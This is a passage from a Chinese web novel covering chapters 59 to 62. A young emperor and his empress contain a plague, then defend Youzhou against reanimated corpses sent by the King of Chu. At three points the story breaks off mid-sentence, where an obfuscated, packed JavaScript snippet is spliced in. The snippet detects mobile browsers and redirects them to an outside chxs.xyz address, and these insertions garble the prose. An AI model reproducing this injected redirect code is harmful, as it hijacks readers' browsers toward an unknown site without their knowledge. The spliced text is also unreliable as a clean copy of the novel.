“尸体送到城南荒地暴晒三日后统一掩埋,若是家属想要带走的——须有官兵督促焚烧,再发放魂瓶。” 姚复擦擦嘴角的米饭,沉着地对来报告情况的官兵发令,随后转头看向应瑕:“既然这病对于成年男女无害,我们便备马去巨鹿看看。” 应瑕思索了一下,感觉屈郢应当埋伏在巨鹿附近准备攻城,一直没传来消息估计也是怕自己的军队染上病。左右这病只感染老人小孩,不如去问问陈重熙有没有对症的药——免得以后这病再开始感染成年人。 顺便再打探打探屈郢到底在做什么。 于是她点点头,淡然同意:“没问题,不过最好带上几千兵力,楚王大概率还埋伏在附近。” 耄耋之年的老人、垂髫的小儿,死了就死了,无非也是为将来河清海晏龟起洛图做出牺牲。不过……什么时候看到这些无辜的生命流失,年轻的帝王才能不痛心疾首呢? 59. 第59章 “药方子可研发出来了?” 从疫病爆发以来——确切的说,是从陈重熙赶到巨鹿县以来,整个县治便被强硬的分成了两部分——城西征用了居民住所,又搭建了营帐,安置染了疫病的老人小孩,另请了年轻力壮的妇女照顾病患,城东则是未患病的健康居民,未经允许不得探望病人。 姚复翻身下马,随手把缰绳递给副官,上前问站在门口的卫士。此人眼熟,应当是认得他的。 那人果然认得他,抱拳行了一礼便回答道:“回陛下,药方子还没研发出来。丞相和夫人试了百种汤药,都没有成效。” “行。”姚复拍拍那人的肩膀,“好好干,我看好你。” 接着便转身进了病患营的大门,应瑕缓缓走在后头,隔了小半个时辰才到,破天荒的还戴了个纯白的长长的面纱,死死盖着口鼻,似乎也害怕被疫病传染似的——尽管这病经过观察并不影响成年人。 趋利避害才是人之常情啊。 赶过来的医师全是年轻人,那些医术精湛的老头子全被留在了长安——能减少一点损耗是一点,只是年轻人有个通病:毛手毛脚。 譬如现在,主帐里弥漫着异样的味道,就好像烧糊的黄连与艾草一同下锅煮了之后留下来的汤再泡黄柏,极为奇异。 陈重熙捋捋微卷的头发——发尾还有烧焦的痕迹,许是某个年轻医师失了手,将老师的头发燎了。他也没有多礼,只微微抬起头看向姚复,笑着说:“陛下,恕臣失礼。这边实在腾不开手。” 他把手上的药锅放在地上,韩玉筝马上又丢了几味药材进去,等着锅里的汤放凉。 “陛下,这次的疫病是一种闻所未闻的热症,臣从未见过……好在与太上皇先前所患之病症状一致,半成的药方子也能起些作用。”陈重熙笑着继续说道,离那药锅远了些,才拿袖子擦擦额头上的汗。 姚复皱起眉头,心下还是有些不解——要说与姚老头病症一致的话,那也应该是从定州发迹才对,屈郢那厮又是从哪找的尸体? 况且他偏安江南,江南那样水土丰饶的地方,也未曾听说过有什么大疫。 至于那半成的方子——姚复觉得根本就不能吃。 “如果说与我父亲症状一致,那尸体又怎么会出现在楚王手里?”姚复也如是问了,“那些药方子你们快些精进,迟则生变。” 陈重熙使劲拍了一下旁边一个年轻医师,随后笑着回答:“陛下,江南水土养人,瘴气更是频发呢。疫病也是数不胜数,不过是染的人都死了,才传不出去。” 姚复这下连整张脸都要皱起来了。在长沙时他并未见过什么致病的瘴气,倒是觉得江南风水养人,只是梅雨时节太过恼人。可陈重熙是阖闾城人氏,又世代从医,断然比他了解更多江南风物。 “药方子写出来没?”应瑕掀开营帐的一角,探头进来。 屋里人闻言都抬起头,很快又低下头来加快手上的动作。陈重熙脸上的笑容倒是没什么变化,只泰然自若地回答:“没呢,殿下也不必忧心,已经有半成的药方可以用了。” 应瑕撩开营帐,委身进来,把手上的一个透着丝丝缕缕血迹的小包裹递过去,并一个瓷白的小瓶,说道:“把这些药材也加进去试试,还有先前给你那枚蛇胆——” 陈重熙接过药材,有些惊讶地抬头望向应瑕:“殿下,蛇胆凉肝明目,可这热症是在心肺啊。蛇胆加进去实在是多此一举。” “你照做就是。”她皱着眉正要转身离开,却猝不及防被姚复抓住了手腕。 他脸色严肃,握着应瑕的手腕,又把袖子往上推了一些,露出雪白小臂上有六七寸长的伤口,先前已经洒过药粉粗略止血了,只是方才动作太大,现下又有丝丝缕缕的血珠渗了出来。伤口平整,似是锐器所伤,周围略有红肿,但并未出现感染的症状。 姚复把眼神投向应瑕袖口处露出来的一把小巧的匕首——不知道哪来的,但应当是凶器。 “你方才交给他的引子是你自己的血?”姚复神色凛然,冷冰冰地看着应瑕,他似乎有点生气了。 应瑕抬高手腕,好让韩玉筝帮自己把绷带缠上,脸色并没什么变化,仍旧是那种高傲的冷淡,她抬眼回答:“当然不是。你让他开瓶看看不就知道了。” 陈重熙又回去指导别的年轻人熬药去了,闻言后背一凉,旋即认命般地把手底下的年轻人交给了另一个年长医者,抄起随手放在一边的小瓶子,走回姚复面前,当着他的面打开了盖子—— 里面没有血腥气,也不是预想中的鲜红液体,反而是些晃着飘摇的的光的金液。可融化后的金应当保存不了多久,里头可能是加了金粉的别的药。 韩玉筝顺便把布包也抱了过来,缓缓拆开了,里头露出几十片排列整齐的硕大白色鳞片,游离缘圆润光滑,像是鱼鳞。 “哼。”姚复终于出了一口气,心下也放松了。早听闻人肉、人血、脏器一类的都能做药引,可是有草药的时候谁会用这些东西,若是应瑕自残来做这些引子,他更是愧疚难安呢。 应瑕也松了一口气,旋即说道:“杀鱼的时候伤到了。不必管他,晚上回去让膳房煲鱼汤喝。” “你都是皇后了,还犯得着亲自杀鱼刮麟?”姚复心气仍是郁结,有些闷闷不乐地反驳一句,“这种活儿交给下人不就好,膳房都有专门师傅。” 应瑕一挑眉,忽然凑近一点,说道:“我自己杀的给你吃难道不是更有诚意?况且膳房师傅粗手粗脚的,这上好的药材扔了可怎么办。我又不懂医术,能替你分担一点是一点。” 她一边说着,两手一同附上姚复的小臂,身体也马上要贴上去,后者脸色一红,有些羞赧地移开目光,随后说道:“所谓君子远庖厨——” “我又不是君子。”应瑕直截了当地打断了他的话,眼底流露出一丝笑意来,似笑非笑地看着姚复,终于让尊贵的皇帝悻悻闭嘴,一句话也说不出来。 应瑕给的药材确实有用,巨鹿县的疫情很快得到了控制。由于早早封了城,现下齐国境内的病例也不多,不到半个月便压制了疫情。 只是金陵、阖闾城、山阴等屈郢治下的繁华都市,爆发的疫病越发严重,不多时城中的老人和幼子就死了十有八九,幸存下来的也是孱弱无比。 阖闾城的情况还稍好些,其他地方几乎都是哀鸿遍野、枯骨横陈。 到了七月中旬,这场规模不大的瘟疫正式宣告了终结,姚复下令解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654076|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了各大关口的禁令——不过还是封锁着由楚入齐的官道。他再度点兵,准备北上攻打屈郢防线最为薄弱的一环——幽云十六州。 “你这么急着发兵攻打作甚?”应瑕束着高高的马尾,翻身上马,颇有些嗔怪意味地策马上前问尚未戴上兜鍪的姚复。 刚刚解决了疫病,姚复心情很是不错,眉眼弯弯地笑着回首答道:“我想看看燕王台。楚王确是一介莽夫,偌大的宫殿楼宇高台说烧就烧——都是百姓拿血泪搭成的呢。” 燕王台便是燕昭王广求天下名士的黄金台,被屈郢一把火烧掉了——屈郢真的很喜欢烧东西,不过它的命运要比启封城、皇宫好的多,也不知为何,火苗烧了一半便熄灭了,倒是让这古迹还留了一个面目全非的回眸,无声的告示后来者它的遭遇。 “幽州府疫情还没结束,你去瞎凑什么热闹!”应瑕显然有些愠怒。 屈郢明知治下又疫病,他根本就不派人去管,甚至强弄走了不少尸体,不知道要做什么去。这些乱七八糟的主意也不是桥虹出的,桥虹作为一个间谍的作用几乎只剩下了剽窃对方的军情。 疫情一拖再拖,要等人们自然消磨掉病症,那要等到猴年马月。何况疫病这东西最是奇异,越拖下去它的症状变化越繁杂,正正应了“迟则生变”这四个字。 姚复不以为然,仍是带着期待的微笑:“左右也不会传染壮年男女,怕它作甚。” “现在你是不会患病,谁知道下个月会不会。”应瑕见姚复继续策马往前走,干脆驱马往前,堵住了姚复的路,准备继续劝解。 姚复似乎犹豫了,他微微垂下头,把拇指屈起贴在唇上,随后又笑着抬起头来:“那这样,我带着陈重熙过去,如何?横竖现在也有草药方子了,来来回回精进了许多遍,效果也比最开始那些好的多了。” “你要是嫌那边脏的话,待在巨鹿也是极好的。”姚复仔细想了想能让应瑕排斥幽州的理由,反反复复也只有那一个—— 幽州被屠了城,到现在尸身的陈腐气息仍然散不尽,又遭了火灾,地上定然有不少积灰,疫病又在城中横行,想必空气都带着病气。而屈郢还不派人去清理,城里现下定然是极为脏污的。 应瑕又特别爱干净,连象征身份地位的长指甲都不留,估计也不怎么愿意去幽州。 于是他见应瑕狠狠皱起眉头,脸上露出不悦的表情,眼神却犹疑不定,似乎是十分纠结,随后她重重叹了一口气,说道:“罢了,我和你一起去。若是能多等一段时间就好了,屈郢放任疫病自流,要不了多久就不攻自破了。” “再等下去燕王台就真塌了。”姚复露出一个满意的微笑,“楚王确实是一介匹夫,从一个刚愎自用、目不识丁的莽人手里夺天下,只是迟早的事罢了。” 传说屈郢只会写自己的名字,斗大的字也不识,自然不懂兵书奇谋。桥虹善出奇谋,姚复把谋士送到他手下他也不用。这样的人,覆亡也许只在须臾之间,即便侥幸得了天下,不出三年又是灭亡的结果。 “去给陈丞相备马车,让他随军出征。”姚复一边吩咐属官,一边勒马往幽州的方向行进。 带的兵士不多,但攻下一个病弱的城市应该是绰绰有余。 60. 第60章 言出必果真的是一种美好的品质。 从巨鹿到幽州走走停停花了几天时间,但兵士的怠惰完全没有影响攻下幽州这一必然的结果。 本来幽州百姓是叫苦不迭,姚复进城之后先封了城,又让人施粥散药,与楚王的不作为形成了鲜明的对比,不过是三日时间便让幽州百姓心服口服了。 所幸燕王台剩下那半边还是完好的。 从燕王台登临远眺,背后是群山万丈,面前是旷野平原。不得不说,这地方的风景真是一绝,让人生出“一览众山小”的气概来,更感到心胸开阔——或许当年的燕王,正是怀着一腔雄怀壮志铸造了这高台,又置百金于地,寻求与他心神合一的名士。 可惜无论是高瞻远瞩的君王,还是诀别易水的壮士,或是掷筑于堂的知音,都早在滚滚红尘里化作了一抔黄土。 “珠英,有拿什么乐器吗?”姚复离那危险的栏杆远远的,却还是忍不住去看底下的景致,他眼中映着连绵的旷野,似乎并不打算转头去看侧面的峰峦。 应瑕觉得他大约是一时兴起,想要听点什么音乐助助兴,毕竟战争已经接近尾声了,这几个月以来又未尝败仗,再加上登高远眺,未免心中激荡。但真的没有带什么乐器上来,他们两口子常年征战,哪有闲情逸致去弹琴鼓瑟,就是翻遍他们在各地的据点的营帐也难找出来一把琵琶、一架箜篌。 于是她如实相告:“没。你要想想听曲子,我们下去找个勾栏瓦舍便是。” 姚复却不是很失望,转过头吩咐一边的副官:“你,去下去给我买个什么乐器抬上来,什么都行。花的钱回头补到你俸禄里。” 接着他走到应瑕身边,一把揽住她的肩,把她带到离栏杆咫尺之遥的地方,指着底下的风景说:“我看幽州也不错,比之长安如何?” “不怎么样。”应瑕颇感索然无味地回答道,“再者不是已经定都长安了,还来回迁都做什么,只耗劳民力了。” 过了一会儿,她又补充道:“有这闲工夫登高望远,你不如想想明年的年号。” “哎呀,出来玩就不要再说那些朝堂上的事了……”姚复有些尴尬地看着应瑕笑了一笑,后者冷哼一声予以回应。 恰巧副官抱着一副筑上来了,姚复连忙上前接过那筑,施施然走到应瑕面前,说道:“此情此景,就应当唱《大风》啊。” 当年从启封离开时应瑕唱的《易水》,宛转悠扬,至哀至切。好在姚复也略懂击筑,今日抓到机会,当然要在应瑕面前露一手。 应瑕心中升起一丝不详的预感,但还没来得及思考怎么回事,姚复调弦的手已经停了。 紧接着筑槌敲在弦上,悠扬的乐声传入耳畔,随后便是歌声—— 应瑕意识到自己听到什么的时候已经来不及了,她急忙上前去夺乐器,因为太过心急还踉跄了一下。 好在她及时劈手夺下了筑槌,姚复的声音也戛然而止。此人诧异地抬眼看她,却极为平静地问道:“有什么问题?” “没什么,你唱的惊天地泣鬼神。”应瑕淡然收起筑槌,面不改色地说道。 确实是惊天地泣鬼神,不知道刘邦听到了会不会爬出来打死他。 但姚复明显理解错了。“笔落惊天地,诗成泣鬼神”短短十字已经是对文人的最高赞誉了——尽管应瑕这句话听起来像是一句反话。 他把筑放下,笑笑说道:“只有你自己听见确实不好,等尘埃落定了办个宴会,我唱给大家听。” 应瑕眉头跳了跳,但她实在不好挑明了说,怕伤了姚复的自尊心。可现在反倒助长了姚复的信心,也不知他是真不理解那句话还是装作不理解——还好现在多了人垫背,到时候她找借口溜走算了。 死道友不死贫道。 “行了,快下来吧。等会儿你还要去慰问病人呢。”应瑕拎起裙摆,踩着楼梯下去了。 姚复忽而才想起下午的行程,懊恼地一拍脑门。 为什么非要立个仁君形象,定下了每三日去慰问一次病人的行程!简直耽误自己游山玩水! 罢,罢,罢。这次登台可能都是人生中最后一次出来玩儿了,当皇帝哪有那么多闲工夫,姚复也不至于傻到为了出去玩造个什么譬如长城、运河的万世之功。 幽州的疫情控制的不错,可是近来的病人都有些不对劲—— 最早的一批还是耄耋之年的老人和黄口小儿,可现在姚复看到的多是扎着总角的十二三的少年少年,也有些知命之年的中年人。 当真奇怪,难不成那疫病真的异变了? “这又怎么回事?”姚复深深蹙着眉头,眼神有些凌厉地望向陈重熙,“不是说这病只有老人小孩会染?” 陈重熙给一个躺在榻上的女孩喂完药,收起筷子和勺子,满脸俱是苦不堪言:“我父亲来信说阖闾城的疫病出现了感染冠年男子的病例,谁曾想竟也传到了幽州来!陛下和殿下要不还是先回长安避避风头——” 姚复和应瑕对视一眼,在彼此眼中都看见了震惊与决绝,随后他摇摇头,说道:“幽州是兵家重地,楚王没发兵攻打巨鹿,他的军队定然在不远处,如今晋州守将空虚,我要是回了长安,你留在幽州是无法与楚军抗衡的。” 现在能领兵的都不在,唯一一个没事干的韩玉笙还被远远发配到了合浦郡去,能固守城池的只剩下了姚复和应瑕两个人。 应瑕猛然一拉他的衣袖,轻声说道:“我们回长安吧。” 姚复微微垂头一笑,有些意味不明地说道:“逃避可不是你的风格啊,珠英。” 应瑕清清楚楚地感觉到那笑意里带着三分凉薄——君王不会朝令夕改,也不会容许忤逆。他的凉薄比现世有过之而无不及,应瑕不知道到底是哪个环节出了岔子。 “我……”好像有一把刀子直直捅进了脑海,应瑕忽然觉得脑内一阵疼痛,随后便是撕裂般的眩晕,顷刻之后便恢复了清明,旋即斩钉截铁地说道:“不,不能回长安!” 姚复身上迷蒙的那一层薄雾似乎散去了,他心下困惑,也不理解方才自己的举动——尽管这几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665818|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月确实成长了不少,也曾经想过除掉功臣,可这种在意识完全清楚的情况下对着应瑕说出这种话来,实在是迷惑。 “本来也不打算回长安啊。”姚复有些不解地说道,“我兴许是病了,方才不知怎的就动作了。陈重熙,来给我把把脉?” 陈重熙确实是用看病人的眼神看了他一眼,但没上前把脉。应瑕又恢复了先前端庄高贵而又冷漠的样子,沉声说道:“我们不能正面应敌,也不能回长安。” 屈郢驻扎在巨鹿附近,一直按兵不动,想必在那儿憋什么阴招。而碧姬一边影响着应瑕的神智,迫使她回长安,想必在长安也放了炮仗,再加上方才碧姬对姚复的影响——想必她干了什么不得了的事。 “你想留在幽州还是回巨鹿驻扎?”应瑕忽而抬眼问道,那双眸子明净澄澈,带着灼灼的火光。 姚复有些意外,稍稍愣了一下,下意识回答道:“幽州吧,幽州地势不错,能掣肘天下。” 应瑕颔首,随后大步往外去了,口中喊着:“传旨——凡我大齐治下城市,即日起封城,任何人无令不得外出,粮草由专人供给!” 她一猫腰便出了去,钻进了人群,不见了踪影,姚复感到有些莫名其妙的,但他确实给了应瑕这一部分权力,再者她做什么向来没出过岔子,应当不会有错。 他笑着摇摇头,走了出去。 陈重熙给另一个孩子端了一碗药,转头对韩玉筝说:“玉筝啊,我们也要多做打算了。楚王任由疫病自流,又强征尸体,想必是要炼制肉尸。” “肉尸与尸鬼?”韩玉筝迷茫地抬头问道。 陈重熙知道她仍是分不清肉尸与尸鬼的概念,只好笑了笑,极有耐心地阐释:“肉尸就是行尸走肉,他们没有痛觉,没有理智,用来行军打仗最好不过。只是极难拔除,还容易受到反噬,违背天理伦常。炼制肉尸的法子早被列作了禁术。” “至于尸鬼——我还未曾见过,听说有些修真的大能死后心有不甘,便会重新滋生血肉化为尸鬼。他们有理智,也继承生前的修为,一经出世便会极尽屠戮……我从书上看除掉它的法子只有了却生前愿景,抑或用同宗同源之人的血辅以桃木和特定的符咒,刺入它的眉心。” 韩玉筝似乎是理解了,重重点头。 碧姬与陈重熙师出同门,自然知道肉尸的炼制之法,她被逐出师门不仅是修习巫蛊之道——她偷偷回了滇州老家,成了圣女,又将巫蛊与禁术结合,在宗门里炼制了一只活尸——尽管只是一只兔子。 兔子很快被除掉,碧姬也被逐出师门,想必她在死前把毕生所学的禁术全都交给了屈郢,只是此人不识字,直到落败也不曾用出来。 桥虹肯定也是被瞒的死死的,解读禁术的人应当也被斩草除根了。他传回来的消息只有屈郢炼制蛊虫和强征尸体,勉强能猜出来计划。 看样子有必要趁着全城封锁之前回江南一趟了。 陈重熙忽而福至心灵,重新写了一张药方子,交给旁边一个年轻人,让他照着方子再熬药汤去。 61. 第61章 比起楚军攻城或是炼制肉尸更先发生的事还是桥虹一路风尘仆仆地到了幽州,人回来的时候蓬头垢面落魄不堪,还是孤身回来的,来时正碰见了得了诏令要回江南探亲的陈重熙,才被迎进了幽州城。 而且他精神似乎也不怎么样,神形憔悴,甚至失声了好几日。 “陛下,你往楚王麾下派间谍简直就是普天之下最荒谬的错误。”桥虹抱着安神茶,欲哭无泪地看着姚复,“您根本想不到我到底遭遇了什么。” 要是说冷眼看待或是疑心重重,那也还好说,桥虹总能找到机会谗言两句,出几个馊主意,譬如坑杀百姓降低风评一类的。 可前些日子那事真的击溃了桥虹的最后一道防线。 姚复屈指敲了敲桌面,脸上一副饶有兴味的神情,他很是好奇什么东西能让情绪稳定的谋士宁可抛妻弃子顶着诛九族的大罪也要回来汇报情况,于是上身微微往前,笑着问:“细说?” 桥虹抱着茶杯,抿了一口,随后从怀里掏出一份文书,放在桌上:“楚王他简直就是疯了!” “想必陛下对楚王强征尸体一事有所了解。日前楚王已经不只是强征病死的尸体了,他开始命令兵士在金陵、山阴几座大城市强征了活人,以莫须有的罪名处死,全都运到了帐中。” “我早些日子把妻儿送到了陈家去,此事已经支会过陈丞相了。从金陵出来前一日,楚王邀我去城南的军营,那地方他不准外人进入。我觉得不像是什么好地方,索性孑然一身,了无牵挂,再怎么也无所谓,便随着楚王进去了。说不定还能趁机跟他说点什么。” “他带着我登上一处小楼,恰能看清底下的万人坑——那些尸体在坑里蠕动着,互相踩踏撕咬,似乎想要爬上来——我只是一介文人,哪里见过这场面! 楚王说他要用这些活尸去攻城,还问我什么意见。眼见事态已经到了无可挽回的地步,臣实在无力对抗,只好抗旨回了幽州,陛下见谅。” 说到那万人坑时,桥虹似乎回想起了那个画面,脸色并不好看,连忙低头又喝了几口安神茶,方才继续说:“我还看到了……” 他欲言又止的抬头看了一眼应瑕,应瑕颔首示意他继续说。桥虹勉强定了定心神:“——碧姬。我感觉她无处不在,她一直在看着我们……” 接着他猛然攥着杯子站起身来,神色惊惶地说道:“陛下,看样子我没办法在这儿久待了,臣先告辞……恕罪,恕罪。” “珠英,你怎么看。”姚复目送桥虹跌跌撞撞出了门,正色看向应瑕,“那碧姬不是个死人么,他这……” 应瑕揉揉眉心,有些苦恼地说:“先送他回长安休养吧。这个样子……跟疯了也没什么区别了。至于楚王那些活尸,应当不是假的——眼下先做好防守事宜吧。” “他要真用尸体攻城我们怎么办?尸体难道还能再死一次吗!”姚复苦恼又烦闷地带着悲愤的怒意使劲一砸桌子。 早听闻过人死后尸体不腐会变成走尸,这些尸体带着剧毒,更是逢人便咬,确实是攻城的利器——屈郢未免太过丧心病狂! 好在应瑕有先见之明,早早戒备守城,可若是往下一看全是乌压压的尸体,还不被活活困死在城中!难不成还指望再度天降陨铁坠星尘,让燎原的烈火替他破局? “火攻吧,火攻。”应瑕喃喃道,“应当很快便会有救援。” 现世的须弥芥子不会频繁进入幻境,但应瑕不信幻境里曾经的须弥芥子眼见苍生蒙难天道崩塌伦常不复还能坐视不理。 仙人与侠士都不该插手朝堂上的事,可倘若祸及自身,他们还能与往常一样高高坐在神坛上冷眼旁观吗?还能闲云野鹤泛舟五湖只说“归去来兮”吗? 只要他们敢,等到应瑕破局而出,定要杀尽这些假清高的仙客游侠。 “我马上让人去准备火箭。你觉得他会先打打幽州还是巨鹿?”姚复微微垂下眼眸,问道。 屈郢本人在金陵,却有一支军队驻扎在巨鹿附近,而他费尽心机要杀的姚复在幽州。 “还用问?”应瑕投给姚复一个不屑的眼神,随后抽出自己压在身下的裙子,站起身子离开了营帐。 一直到了七月过半,陈重熙才从江南回来,回来时情况跟桥虹差不多——差不多的蓬头垢面,大夏天还弄了个斗篷,谁也不知道他怎么悄无声息地进了城。 原先的半成品药方子已经没什么作用了,感染的病患几乎全成了壮年男女,小孩和老人已经很少了。这可怖的热症在九州之间再度掀起狂潮。 “陛下,臣从本家新拿了精进过的方子,恳请陛下授书应用。”陈重熙悄无声息地从窗子里翻进来,脱下斗篷上的兜帽,把那方子放在桌上。 姚复看着外面的半轮明月,无奈地坐起身子,说道:“我又不管太医院的事儿,你自己把方子交给他们不就成。还有,你怎么进城的,也没人通报啊,你知法犯法啊?” “仔细你的九族!” 姚复一边威胁,一边下床去摸纸笔:“你到江南这么久……城里现在都闹成什么样了。你且先给你夫人熬药吧,已经病倒了。” 陈重熙眼中闪过一丝惊慌与担忧,连忙又翻窗出去了。 姚复敲敲窗子,叫来门口的侍卫,让他把那诏书传出去,在那侍卫的视野消失之前,姚复又补充了一句:“你告诉陈重熙,以下犯上、藐视王法,回头少不了他的二十廷杖!” 主要还是他出去的太久,药方子来的太慢,应瑕也病倒了。城里的医者换了一批,全成了先前病过的老人家,这些人严肃古板,无论如何也!不许年轻的皇帝进去照拂,生怕传了病气,闹个群龙无首的局面。 大多女子身体本就比男子娇弱一些,病起来更是厉害。韩玉筝本就体弱,又操劳过度,发烧了好几日也不见退;应瑕的消息被捂的死死的,不管怎么威逼利诱那些老头子都不肯说。 斥候又传来其他人的消息,应琼和新涂两人一块儿在赣州病的不省人事,滚滚黄沙中匈奴也有不少得了病的,迅速退了兵回了北海边,不幸的是解臻也病了。而韩玉笙和李小姐在合浦郡那极炎之地倒没受什么影响。 而姚老头在长沙一直闭门不出,斥候根本得不到他们的消息,只知道还活着。 眼下整个齐国都是形势严峻,陈重熙带来那张药方子简直就是天下人的希望。 这方子确实很有作用,只是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665819|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快痊愈也要七日,韩玉筝过了足足二旬还拖着病体缠绵病榻,应瑕也是不遑多让,只是比韩玉筝的情况稍好一些罢了。 到了八月十五月圆日,眼见疫情得到了压制,城里理所当然地回到了从前欢快祥和的氛围来。 当天夜里,守城的卫士遥遥看着有一人摇摇晃晃地走过来,澄澈如水的月光也映的并不真切,只见得此人情况不太对劲,连走路姿态也极为扭曲。 两人对视一眼,都觉得情况不妙,便暗暗握紧了长戟,其中一人咽了口口水,上前一步,用锋利的刃尖对着那人的脖子,颤声问道:“来者何人?” 那人身上的恶臭刺激着两人的神经,二人都恨不得把此人就地格杀,而来人只是略微顿了一下,并不作答,摇摇晃晃地继续往城门处走。另一卫士见状也举起武器:“停下!幽州封城,闲杂人等不得入内!” 那人猛然抬起头,露出一张半边高度腐烂、另一边裸露着森森白骨的可怖的脸,卫士登时尖叫起来。那个人——尸体嘶吼着扑向守城卫士,狠狠咬在他并无铠甲覆盖的左手上。 长戟猛然贯穿它的胸膛,肉尸僵硬地转过头颅,丝毫不觉察痛苦,竟沿着那戟便要去扑咬另一人。那卫士大惊失色,连忙松了手,尖叫着推开了幽州的城门,慌不择路地进了女墙,城墙上的士兵连忙弯弓搭箭,把那闯进来的卫士以及跟在他背后的尸体一同射成了刺猬。 将领见两人不再动弹,便举手示意大家停了手,叫人下去重新关上城门,左右这门是特制的,关门即落锁,外头任谁也进不来。钥匙只在守城的卫士身上。 士兵们收起弓箭,回头看了一看城中灯火彻夜、桂馥兰香的繁华盛景,便继续对月思亲了。 像他们这样的底层士兵是无权得知牢牢封锁在肉食者手中的机密的,守城守了几个月,大家都是身心俱疲,未见有人攻城,渐渐也便松懈下来。 城门打开时发出那一声细微的“吱呀”声,并不够引人察觉。 尸体跌跌撞撞进了女墙,它似乎承袭了先辈的经验,跑的飞快,以迅雷不及掩耳之势咬了地面上看守的一个正在打盹的士兵。 这样的行为很快惊动思乡的兵士们,可弓箭终究有限,根本抵抗不了越来越多的行尸走肉。 一般发现敌情时统领要派人报给上级,可现下要上报就要打开门,打开门尸潮就会涌入城中。 “放火箭!陛下先前让准备那一批火箭呢?!”统领迅速让人封死了登墙的石梯,指挥着剩下的士兵继续放箭。 好在真正入城的小门钥匙只有统领有,除了外头一层锁外,城内那部分是闩上的,有专人听到落锁声才会开门。 火箭簌簌落下,瞬间皮肉和毛发被烧焦的味道便传入了鼻腔,引得城内守门的士兵也皱眉捏着鼻子。这批尸体很快便被处理完了,将军一边快步往底下走一边暗骂了一声:“该死!” 旋即动手关上了城门,隔着那一道小门吩咐士兵:“去上报军情!说是出现了会咬人的行尸走肉,咬过的人也会变成行尸走肉,我们的兵士牺牲了不少,火箭也消耗了很多!” 士兵连忙领了命,往城中皇帝行宫——一间原先空置的民房去了。 62. 第62章 此事一经上报便引起了很大重视。 姚复脸色凝重,看不出来心里到底什么情愫,士兵报完军情后也不敢贸然离开,只好在地上约莫跪了半柱香,室内落针可闻,每个人的脸色都不好看,却也没人发话。 “再去弄一批火箭来。”姚复从来没有遇到过这种情况——孤零零一具尸体并不知道是来做什么的,可是又难保接下来会有成千上百万具尸体,“趁着还没发生更严重的事,赶紧对其他城池传书,大力制造火箭,一旦发现可疑人物,即刻射杀,不必手下留情。” 一具尸体能走到主城门下,只能说明有更多尸体流窜进了幽州治下城外的部分村庄,一夜之间,原本阡陌纵横鸡犬相闻的村庄估计变成了一片死村——更可怕的是,村民们也许今日就能为屈郢的军队添砖加瓦。 “珠英,你在城里守着,我到城墙上去。”姚复站起身子,从一旁的箱子里拿出来落灰的远镜,拿衣袖擦了擦,低头嘱咐应瑕,“三日内无论发生什么都不要离守,三日后我如果回不来,或者提前回来,你马上领兵带着城里的壮年男女撤退到后面的燕山上。” 尸体腿脚不好,在平地上行走还算勉强,若要说登山那就难了。 有人在城内守着等撤退是必然的,应瑕只是稍有些不满,但还是同意了。 姚复点点头,看着应瑕还想多说什么,只是欲说还休,便直接随着士兵上城墙去了,应瑕重重叹了口气,放下手里的兵书,摸出兵符,也一并放在桌上。 事态确实脱离控制了,疫病、行尸一事在现世并未发生过,只能走一步算一步。 姚复顶着月亮登上了城楼,已经是月落西沉的时辰了,除了那一只活尸,似乎再无异常了。 可神识深处的预警是无法作假的,事情也不会草草收场,于是姚复举起远镜,再度看向已经泛起一线曙光的天地交接之处。 不过是须臾之间,乌压压一片好似军队的人由小及大,缓缓迫近。远镜并看不真切,但姚复真真切切地知道那是什么。 他下意识惊呼一声,随后放下远镜,对守军下令道:“把弩箭都架好!准备守城!” “是!” 沉重的脚步声在城墙上纷纷杂杂地响起来,又很快停下,燃烧的正旺的火箭架在连弩上,蓄势待发。 如同潮水的行尸很快兵临城下,燃着熊熊烈火的箭头灼烧着尸身的衣物、皮肉和腐朽的发丝,又很快燃遍全身,再蔓延到同伴身上,焦臭味冲天而起,卷起的烟尘飞上城墙,引得兵士们连连咳嗽。 姚复不慎吸入了一些烟尘,生理和心理上的双重恶心迫使他后退了两步,呛咳之余又是一阵反胃,所幸来前没吃饭,什么也吐不出来。这感觉实在难受的紧,姚复抹抹方才呛出来的生理性泪水,几乎难以呼吸,好一会儿才嘱咐兵士:“掩住口鼻,免得染了什么疫病。” 士兵们趁着下一批尸潮到来之前,都从衣角上撕下一块布匹,绑在脸上遮掩口鼻,接着又抽出箭矢来,在身后架起的烽火上点燃,再度发射。 